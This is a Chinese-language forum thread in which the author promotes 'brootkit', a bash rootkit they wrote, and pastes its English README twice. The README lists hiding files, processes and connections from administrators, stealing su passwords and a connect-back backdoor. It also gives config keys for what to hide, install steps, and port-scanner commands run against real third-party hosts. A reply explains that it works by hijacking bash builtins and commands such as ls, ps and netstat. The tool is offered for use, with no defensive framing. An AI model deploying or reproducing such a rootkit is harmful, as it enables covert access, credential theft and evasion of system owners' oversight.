免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 5254 | 回复: 2
打印 上一主题 下一主题

[系统管理] 一个好玩的后门脚本 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2015-01-13 14:08 |显示全部楼层 |倒序浏览
本帖最后由 W.Z.T 于 2015-01-16 15:32 编辑

hi, 好久不见, 最近用bash写了个一个后门, 写这个只是为了好玩, 可以隐藏特定文件/文件夹,网络连接, 进程, 还有一个可以回连的反弹后门。
请大家鉴赏下:https://github.com/cloudsec/brootkit

更新一个多线程的端口扫描器

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit

论坛徽章:
0
2 [报告]
发表于 2015-01-13 17:28 |显示全部楼层
利用bash脚本的命令执行顺序, hack掉bash的buitlin函数和系统的一些命令, 如何ls,ps,netstat等等,have fun。

论坛徽章:
0
3 [报告]
发表于 2015-01-16 15:31 |显示全部楼层
回复 6# kaede_1

已更新readme和一个多线程的端口扫描器 https://github.com/cloudsec

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit


   
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP